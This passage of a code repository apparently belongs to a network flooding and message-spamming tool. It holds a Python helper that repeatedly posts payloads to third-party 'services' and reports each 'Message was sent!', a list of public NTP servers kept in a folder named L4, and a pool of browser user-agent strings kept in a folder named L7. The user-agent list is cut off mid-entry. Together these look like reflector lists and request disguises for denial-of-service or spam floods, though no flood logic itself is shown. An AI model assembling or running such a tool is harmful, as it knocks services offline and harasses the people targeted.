Add custom headers 100 | try: 101 | customHeaders = self.service["headers"] 102 | except KeyError: 103 | pass 104 | else: 105 | for key, value in json.loads(customHeaders.replace("\'", "\"")).items(): 106 | headers[key] = value 107 | 108 | # Create suffixes 109 | okay = "Service (" + getDomain(url) + ") >> Message was sent!" 110 | error = "Service (" + getDomain(url) + ") >> Message was not sent." 111 | 112 | try: 113 | # If data type is 'json' 114 | if dataType == "json": 115 | r = requests.post(url, json = payload, timeout = self.timeout, headers = headers, proxies = self.proxy) 116 | # If data type is 'data' 117 | elif dataType == "data": 118 | r = requests.post(url, data = payload, timeout = self.timeout, headers = headers, proxies = self.proxy) 119 | elif dataType == "url": 120 | r = requests.post(payload["url"], timeout = self.timeout, headers = headers, proxies = self.proxy) 121 | 122 | # Check status 123 | if r.status_code == 200: 124 | print("\033[1;32m"+"[+]"+"\033[0m"+ " " + okay) 125 | elif r.status_code == 429: 126 | print("\033[1;33m"+"[!]"+"\033[0m"+ " " + error) 127 | else: 128 | #print(r.text) 129 | print("\033[1;33m"+"[!]"+"\033[0m" + " " + error) 130 | 131 | return r.status_code 132 | 133 | except (requests.exceptions.ReadTimeout, requests.exceptions.ConnectTimeout): 134 | print("\033[1;33m"+"[!]"+"\033[0m"+ " " + error) 135 | except (requests.exceptions.ConnectionError): 136 | print("\033[1;33m"+"[!]"+"\033[0m"+ " " + error) 137 | -------------------------------------------------------------------------------- /tools/L4/ntp_servers.txt: -------------------------------------------------------------------------------- 1 | time.google.com 2 | time1.google.com 3 | time2.google.com 4 | time3.google.com 5 | time4.google.com 6 | time.cloudflare.com 7 | time.windows.com 8 | time.apple.com 9 | time.euro.apple.com 10 | clepsydra.dec.com/clepsydra.labs.hp.com/clepsydra.hpl.hp.com 11 | time-a-g.nist.gov 12 | time-b-g.nist.gov 13 | time-c-g.nist.gov 14 | time-d-g.nist.gov 15 | time-a-wwv.nist.gov 16 | time-b-wwv.nist.gov 17 | time-c-wwv.nist.gov 18 | time-d-wwv.nist.gov 19 | time-a-b.nist.gov 20 | time-b-b.nist.gov 21 | time-c-b.nist.gov 22 | time-d-b.nist.gov 23 | time.nist.gov 24 | utcnist.colorado.edu 25 | utcnist2.colorado.edu 26 | ntp1.vniiftri.ru 27 | ntp2.vniiftri.ru 28 | ntp3.vniiftri.ru 29 | ntp4.vniiftri.ru 30 | ntp1.niiftri.irkutsk.ru 31 | ntp2.niiftri.irkutsk.ru 32 | vniiftri.khv.ru 33 | vniiftri2.khv.ru 34 | ntp21.vniiftri.ru 35 | ntp.mobatime.ru 36 | ntp1.stratum1.ru 37 | ntp2.stratum1.ru 38 | ntp3.stratum1.ru 39 | ntp4.stratum1.ru 40 | ntp5.stratum1.ru 41 | ntp2.stratum2.ru 42 | ntp3.stratum2.ru 43 | ntp4.stratum2.ru 44 | ntp5.stratum2.ru 45 | stratum1.net 46 | ntp.ru 47 | ts1.aco.net 48 | ts2.aco.net 49 | ntp1.net.berkeley.edu 50 | ntp2.net.berkeley.edu 51 | ntp.gsu.edu 52 | tick.usask.ca 53 | tock.usask.ca 54 | ntp.nsu.ru 55 | ntp.rsu.edu.ru 56 | ntp.nict.jp 57 | clock.nyc.he.net 58 | clock.sjc.he.net 59 | ntp.fiord.ru 60 | gbg1.ntp.se 61 | gbg2.ntp.se 62 | mmo1.ntp.se 63 | mmo2.ntp.se 64 | sth1.ntp.se 65 | sth2.ntp.se 66 | svl1.ntp.se 67 | svl2.ntp.se 68 | ntp.se 69 | ntp.yycix.ca 70 | ntp.ix.ru 71 | time-a.as43289.net 72 | time-b.as43289.net 73 | time-c.as43289.net 74 | ntp.ripe.net 75 | clock.isc.org (prev ntp.isc.org) 76 | ntp.time.nl (ntp1.time.nl) 77 | ntp0.as34288.net 78 | ntp1.as34288.net 79 | ntp1.jst.mfeed.ad.jp 80 | ntp2.jst.mfeed.ad.jp 81 | ntp3.jst.mfeed.ad.jp 82 | pool.ntp.org 83 | 0.pool.ntp.org 84 | 1.pool.ntp.org 85 | 2.pool.ntp.org 86 | 3.pool.ntp.org 87 | europe.pool.ntp.org 88 | 0.europe.pool.ntp.org 89 | 1.europe.pool.ntp.org 90 | 2.europe.pool.ntp.org 91 | 3.europe.pool.ntp.org 92 | asia.pool.ntp.org 93 | 0.asia.pool.ntp.org 94 | 1.asia.pool.ntp.org 95 | 2.asia.pool.ntp.org 96 | 3.asia.pool.ntp.org 97 | ru.pool.ntp.org 98 | 0.ru.pool.ntp.org 99 | 1.ru.pool.ntp.org 100 | 2.ru.pool.ntp.org 101 | 3.ru.pool.ntp.org 102 | 0.gentoo.pool.ntp.org 103 | 1.gentoo.pool.ntp.org 104 | 2.gentoo.pool.ntp.org 105 | 3.gentoo.pool.ntp.org 106 | 0.arch.pool.ntp.org 107 | 1.arch.pool.ntp.org 108 | 2.arch.pool.ntp.org 109 | 3.arch.pool.ntp.org 110 | 0.fedora.pool.ntp.org 111 | 1.fedora.pool.ntp.org 112 | 2.fedora.pool.ntp.org 113 | 3.fedora.pool.ntp.org 114 | 0.opensuse.pool.ntp.org 115 | 1.opensuse.pool.ntp.org 116 | 2.opensuse.pool.ntp.org 117 | 3.opensuse.pool.ntp.org 118 | 0.centos.pool.ntp.org 119 | 1.centos.pool.ntp.org 120 | 2.centos.pool.ntp.org 121 | 3.centos.pool.ntp.org 122 | 0.debian.pool.ntp.org 123 | 1.debian.pool.ntp.org 124 | 2.debian.pool.ntp.org 125 | 3.debian.pool.ntp.org 126 | 0.askozia.pool.ntp.org 127 | 1.askozia.pool.ntp.org 128 | 2.askozia.pool.ntp.org 129 | 3.askozia.pool.ntp.org 130 | 0.freebsd.pool.ntp.org 131 | 1.freebsd.pool.ntp.org 132 | 2.freebsd.pool.ntp.org 133 | 3.freebsd.pool.ntp.org 134 | 0.netbsd.pool.ntp.org 135 | 1.netbsd.pool.ntp.org 136 | 2.netbsd.pool.ntp.org 137 | 3.netbsd.pool.ntp.org 138 | 0.openbsd.pool.ntp.org 139 | 1.openbsd.pool.ntp.org 140 | 2.openbsd.pool.ntp.org 141 | 3.openbsd.pool.ntp.org 142 | 0.dragonfly.pool.ntp.org 143 | 1.dragonfly.pool.ntp.org 144 | 2.dragonfly.pool.ntp.org 145 | 3.dragonfly.pool.ntp.org 146 | 0.pfsense.pool.ntp.org 147 | 1.pfsense.pool.ntp.org 148 | 2.pfsense.pool.ntp.org 149 | 3.pfsense.pool.ntp.org 150 | 0.opnsense.pool.ntp.org 151 | 1.opnsense.pool.ntp.org 152 | 2.opnsense.pool.ntp.org 153 | 3.opnsense.pool.ntp.org 154 | 0.amazon.pool.ntp.org 155 | 1.amazon.pool.ntp.org 156 | 2.amazon.pool.ntp.org 157 | 3.amazon.pool.ntp.org 158 | tick.usno.navy.mil 159 | tock.usno.navy.mil 160 | ntp2.usno.navy.mil 161 | utcnist2.colorado.edu 162 | timekeeper.isi.edu 163 | rackety.udel.edu 164 | mizbeaver.udel.edu 165 | otc1.psu.edu 166 | gnomon.cc.columbia.edu 167 | navobs1.gatech.edu 168 | navobs1.wustl.edu 169 | now.okstate.edu 170 | ntp.colby.edu 171 | ntp-s1.cise.ufl.edu 172 | ntpstm.netbone-digital.com 173 | nist1.symmetricom.com 174 | t2.timegps.net 175 | gps.layer42.net 176 | ntp-ca.stygium.net 177 | sesku.planeacion.net 178 | ntp0.nl.uu.net 179 | ntp1.nl.uu.net 180 | navobs1.oar.net 181 | ntp-galway.hea.net 182 | ntp1.ona.org 183 | time.fu-berlin.de 184 | atom.uhr.de 185 | ntps1-0.cs.tu-berlin.de 186 | ntps1-1.cs.tu-berlin.de 187 | ntps1-0.uni-erlangen.de 188 | ntps1-1.uni-erlangen.de 189 | ntp1.fau.de 190 | ntp2.fau.de 191 | ntp.dianacht.de 192 | zeit.fu-berlin.de 193 | ptbtime1.ptb.de 194 | ptbtime2.ptb.de 195 | rustime01.rus.uni-stuttgart.de 196 | rustime02.rus.uni-stuttgart.de 197 | chime1.surfnet.nl 198 | ntp.vsl.nl 199 | asynchronos.iiss.at 200 | ntp.nic.cz 201 | time.ufe.cz 202 | ntp.fizyka.umk.pl 203 | ntp1.usv.ro 204 | ntp3.usv.ro 205 | timehost.lysator.liu.se 206 | time1.stupi.se 207 | time.nrc.ca 208 | clock.uregina.ca 209 | cronos.cenam.mx 210 | ntp.lcf.mx 211 | hora.roa.es 212 | minuto.roa.es 213 | ntp1.inrim.it 214 | ntp2.inrim.it 215 | ntp1.oma.be 216 | ntp2.oma.be 217 | ntp.atomki.mta.hu 218 | ntp.i2t.ehu.eus 219 | ntp.neel.ch 220 | ntp.neu.edu.cn 221 | ntp.nict.jp 222 | ntps1.pads.ufrj.br 223 | ntp.shoa.cl 224 | time.esa.int 225 | time1.esa.int 226 | http://support.ntp.org/bin/view/Servers/StratumOneTimeServers 227 | http://support.ntp.org/bin/view/Servers/StratumTwoTimeServers 228 | http://support.ntp.org/bin/view/Servers/NTPPoolServers 229 | http://www.pool.ntp.org/zone/@ 230 | http://www.pool.ntp.org/zone/asia 231 | http://www.pool.ntp.org/zone/europe 232 | http://www.pool.ntp.org/zone/north-america 233 | http://www.pool.ntp.org/zone/oceania 234 | http://www.pool.ntp.org/zone/south-america 235 | https://time.nl/ 236 | https://time.nl/index_en.html 237 | -------------------------------------------------------------------------------- /tools/L7/user_agents.json: -------------------------------------------------------------------------------- 1 | { 2 | "agents": [ 3 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3835.0 Safari/537.36", 4 | "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3831.6 Safari/537.36", 5 | "Mozilla/5.0 (Linux; Android 8.0.0; SM-G930F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.101 Mobile Safari/537.36", 6 | "Mozilla/5.0 (Linux; Android 9; POCOPHONE F1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.136 Mobile Safari/537.36", 7 | "Mozilla/5.0 (Linux; Android 7.0; SM-G930V Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36", 8 | "Mozilla/5.0 (Linux; Android 6.0.1; vivo 1603 Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36", 9 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0", 10 | "Mozilla/5.0 (X11; Linux i686; rv:67.0) Gecko/20100101 Firefox/67.0", 11 | "Mozilla/5.0 (Android 9; Mobile; rv:67.0.3) Gecko/67.0.3 Firefox/67.0.3", 12 | "Mozilla/5.0 (Android 7.1.1; Tablet; rv:67.0) Gecko/67.0 Firefox/67.0", 13 | "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.27 Safari/537.36 OPR/62.0.3331.10 (Edition beta)", 14 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18362", 15 | "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27", 16 | "Mozilla/5.0 (Android; Linux armv7l; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 Fennec/10.0.1", 17 | "Mozilla/5.0 (Android; Linux armv7l; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Fennec/2.0.1", 18 | "Mozilla/5.0 (WindowsCE 6.0; rv:2.0.1) Gecko/20100101 Firefox/4.0.1", 19 | "Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0", 20 | "Mozilla/5.0 (Windows NT 5.2; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1", 21 | "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.120 Safari/535.2", 22 | "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/18.6.872.0 Safari/535.2 UNTRUSTED/1.0 3gpp-gba UNTRUSTED/1.0", 23 | "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20120403211507 Firefox/12.0", 24 | "Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1", 25 | "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1", 26 | "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.27 (KHTML, like Gecko) Chrome/12.0.712.0 Safari/534.27", 27 | "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.24 Safari/535.1", 28 | "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.36 Safari/535.7", 29 | "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6", 30 | "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:10.0.1) Gecko/20100101 Firefox/10.0.1", 31 | "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20120427 Firefox/15.0a1", 32 | "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b4pre) Gecko/20100815 Minefield/4.0b4pre", 33 | "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0a2) Gecko/20110622 Firefox/6.0a2", 34 | "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:7.0.1) Gecko/20100101 Firefox/7.0.1", 35 | "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3", 36 | "Mozilla/5.0 (Windows; U; ; en-NZ) AppleWebKit/527 (KHTML, like Gecko, Safari/419.3) Arora/0.8.0", 37 | "Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.4) Gecko Netscape/7.1 (ax)", 38 | "Mozilla/5.0 (Windows; U; Windows CE 5.1; rv:1.8.1a3) Gecko/20060610 Minimo/0.016", 39 | "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10", 40 | "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7", 41 | "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.23) Gecko/20090825 SeaMonkey/1.1.18", 42 | "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10", 43 | "Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0E)", 44 | "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.310.0 Safari/532.9", 45 | "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.17.8 (KHTML, like Gecko) Version/5.0.1 Safari/533.17.8", 46 | "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 (.NET CLR 3.5.30729)", 47 | "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/527 (KHTML, like Gecko, Safari/419.3) Arora/0.6 (Change: )", 48 | "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.1 (KHTML, like Gecko) Maxthon/3.0.8.2 Safari/533.1", 49 | "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.601.0 Safari/534.14", 50 | "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 GTB5", 51 | "Mozilla/5.0 (Windows; U; Windows NT 6.0 x64; en-US; rv:1.9pre) Gecko/2008072421 Minefield/3.0.2pre", 52 | "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1.17) Gecko/20110123 (like Firefox/3.x) SeaMonkey/2.0.12", 53 | "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.0 Safari/532.5", 54 | "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5", 55 | "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/10.0.601.0 Safari/534.14", 56 | "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.672.2 Safari/534.20", 57 | "Mozilla/5.0 (Windows; U; Windows XP) Gecko MultiZilla/1.6.1.0a", 58 | "Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.2b) Gecko/20021001 Phoenix/0.2", 59 | "Mozilla/5.0 (X11; FreeBSD amd64; rv:5.0) Gecko/20100101 Firefox/5.0", 60 | "Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.34 (KHTML, like Gecko) QupZilla/1.2.0 Safari/534.34", 61 | "Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/11.04 Chromium/14.0.825.0 Chrome/14.0.825.0 Safari/535.1", 62 | "Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.2 (KHTML, like Gecko) Ubuntu/11.10 Chromium/15.0.874.120 Chrome/15.0.874.120 Safari/535.2", 63 | "Mozilla/5.0 (X11; Linux i686 on x86_64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1", 64 | "Mozilla/5.0 (X11; Linux i686 on x86_64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Fennec/2.0.1", 65 | "Mozilla/5.0 (X11; Linux i686; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1", 66 | "Mozilla/5.0 (X11; Linux i686; rv:12.0) Gecko/20100101 Firefox/12.0 ", 67 | "Mozilla/5.0 (X11; Linux i686; rv:2.0.1) Gecko/20100101 Firefox/4.0.1", 68 | "Mozilla/5.0 (X11; Linux i686; rv:2.0b6pre) Gecko/20100907 Firefox/4.0b6pre", 69 | "Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0", 70 | "Mozilla/5.0 (X11; Linux i686; rv:6.0a2) Gecko/20110615 Firefox/6.0a2 Iceweasel/6.0a2", 71 | "Mozilla/5.0 (X11; Linux i686; rv:6.0) Gecko/20100101 Firefox/6.0", 72 | "Mozilla/5.0 (X11; Linux i686; rv:8.0) Gecko/20100101 Firefox/8.0", 73 | "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Ubuntu/10.10 Chromium/12.0.703.0 Chrome/12.0.703.0 Safari/534.24", 74 | "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.20 Safari/535.1", 75 | "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5", 76 | "Mozilla/5.0 (X11; Linux x86_64; en-US; rv:2.0b2pre) Gecko/20100712 Minefield/4.0b2pre", 77 | "Mozilla/5.0 (X11; Linux x86_64; rv:10.0.1) Gecko/20100101 Firefox/10.0.1", 78 | "Mozilla/5.0 (X11; Linux x86_64; rv:11.0a2) Gecko/20111230 Firefox/11.0a2 Iceweasel/11.0a2", 79 | "Mozilla/5.0 (X11; Linux x86_64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1", 80 | "Mozilla/5.0 (X11; Linux x86_64; rv:2.2a1pre) Gecko/20100101 Firefox/4.2a1pre", 81 | "Mozilla/5.0 (X11; Linux x86_64; rv:5.0) Gecko/20100101 Firefox/5.0 Iceweasel/5.0", 82 | "Mozilla/5.0 (X11; Linux x86_64; rv:7.0a1) Gecko/20110623 Firefox/7.0a1", 83 | "Mozilla/5.0 (X11; U; FreeBSD amd64; en-us) AppleWebKit/531.2 (KHTML, like Gecko) Safari/531.2 Epiphany/2.30.0", 84 | "Mozilla/5.0 (X11; U; FreeBSD i386; de-CH; rv:1.9.2.8) Gecko/20100729 Firefox/3.6.8", 85 | "Mozilla/5.0 (X11; U; FreeBSD i386; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0", 86 | "Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.6) Gecko/20040406 Galeon/1.3.15", 87 | "Mozilla/5.0 (X11; U; FreeBSD; i386; en-US; rv:1.7) Gecko", 88 | "Mozilla/5.0 (X11; U; FreeBSD x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16", 89 | "Mozilla/5.0 (X11; U; Linux arm7tdmi; rv:1.8.1.11) Gecko/20071130 Minimo/0.025", 90 | "Mozilla/5.0 (X11; U; Linux armv61; en-US; rv:1.9.1b2pre) Gecko/20081015 Fennec/1.0a1", 91 | "Mozilla/5.0 (X11; U; Linux armv6l; rv 1.8.1.5pre) Gecko/20070619 Minimo/0.020", 92 | "Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/527 (KHTML, like Gecko, Safari/419.3) Arora/0.10.1", 93 | "Mozilla/5.0 (X11; U; Linux i586; en-US; rv:1.7.3) Gecko/20040924 Epiphany/1.4.4 (Ubuntu)", 94 | "Mozilla/5.0 (X11; U; Linux i686; en-us) AppleWebKit/528.5 (KHTML, like Gecko, Safari/528.5 ) lt-GtkLauncher", 95 | "Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.4 (KHTML, like Gecko) Chrome/4.0.237.0 Safari/532.4 Debian", 96 | "Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Chrome/4.0.277.0 Safari/532.8", 97 | "Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.613.0 Chrome/10.0.613.0 Safari/534.15", 98 | "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040614 Firefox/0.8", 99 | "Mozilla/5.0 (X11; U; Linux; i686; en-US; rv:1.6) Gecko Debian/1.6-7", 100 | "Mozilla/5.0 (X11; U; Linux; i686; en-US; rv:1.6) Gecko Epiphany/1.2.5", 101 | "Mozilla/5.0 (X11; U; Linux; i686; en-US; rv:1.6) Gecko Galeon/1.3.14", 102 | "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 MG(Novarra-Vision/6.9)", 103 | "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080716 (Gentoo) Galeon/2.0.6", 104 | "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061024 Firefox/2.0 (Swiftfox)", 105 | "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.11) Gecko/2009060309 Ubuntu/9.10 (karmic) Firefox/3.0.11", 106 | "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko Galeon/2.0.6 (Ubuntu 2.0.6-2)", 107 | "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.16) Gecko/20120421 Gecko Firefox/11.0", 108 | "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.2) Gecko/20090803 Ubuntu/9.04 (jaunty) Shiretoko/3.5.2", 109 | "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a3pre) Gecko/20070330", 110 | "Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.2.3) Gecko/20100406 Firefox/3.6.3 (Swiftfox)", 111 | "Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.8.1.13) Gecko/20080313 Iceape/1.1.9 (Debian-1.1.9-5)", 112 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.309.0 Safari/532.9", 113 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Chrome/10.0.613.0 Safari/534.15", 114 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7", 115 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/540.0 (KHTML, like Gecko) Ubuntu/10.10 Chrome/9.1.0.0 Safari/540.0", 116 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.3) Gecko/2008092814 (Debian-3.0.1-1)", 117 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.13) Gecko/20100916 Iceape/2.0.8", 118 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.17) Gecko/20110123 SeaMonkey/2.0.12", 119 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20091020 Linux Mint/8 (Helena) Firefox/3.5.3", 120 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.5) Gecko/20091107 Firefox/3.5.5", 121 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.9) Gecko/20100915 Gentoo Firefox/3.6.9", 122 | "Mozilla/5.0 (X11; U; Linux x86_64; sv-SE; rv:1.8.1.12) Gecko/20080207 Ubuntu/7.10 (gutsy) Firefox/2.0.0.12", 123 | "Mozilla/5.0 (X11; U; Linux x86_64; us; rv:1.9.1.19) Gecko/20110430 shadowfox/7.0 (like Firefox/7.0", 124 | "Mozilla/5.0 (X11; U; NetBSD amd64; en-US; rv:1.9.2.15) Gecko/20110308 Namoroka/3.6.15", 125 | "Mozilla/5.0 (X11; U; OpenBSD arm; en-us) AppleWebKit/531.2 (KHTML, like Gecko) Safari/531.2 Epiphany/2.30.0", 126 | "Mozilla/5.0 (X11; U; OpenBSD i386; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.359.0 Safari/533.3", 127 | "Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.9.1) Gecko/20090702 Firefox/3.5", 128 | "Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.8.1.12) Gecko/20080303 SeaMonkey/1.1.8", 129 | "Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.9.1b3) Gecko/20090429 Firefox/3.1b3", 130 | "Mozilla/5.0 (X11; U; SunOS sun4m; en-US; rv:1.4b) Gecko/20030517 Mozilla Firebird/0.6", 131 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.309.0 Safari/532.9", 132 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Chrome/10.0.613.0 Safari/534.15", 133 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7", 134 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/540.0 (KHTML, like Gecko) Ubuntu/10.10 Chrome/9.1.0.0 Safari/540.0", 135 | "Mozilla/5.0 (Linux; Android 7.1.1; MI 6 Build/NMF26X; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.132 MQQBrowser/6.2 TBS/043807 Mobile Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/WIFI Language/zh_CN", 136 | "Mozilla/5.0 (Linux; Android 7.1.1; OD103 Build/NMF26F; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043632 Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/4G Language/zh_CN", 137 | "Mozilla/5.0 (Linux; Android 6.0.1; SM919 Build/MXB48T; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043632 Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/WIFI Language/zh_CN", 138 | "Mozilla/5.0 (Linux; Android 5.1.1; vivo X6S A Build/LMY47V; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043632 Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/WIFI Language/zh_CN", 139 | "Mozilla/5.0 (Linux; Android 5.1; HUAWEI TAG-AL00 Build/HUAWEITAG-AL00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043622 Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/4G Language/zh_CN", 140 | "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13F69 MicroMessenger/6.6.1 NetType/4G Language/zh_CN", 141 | "Mozilla/5.0 (iPhone; CPU iPhone 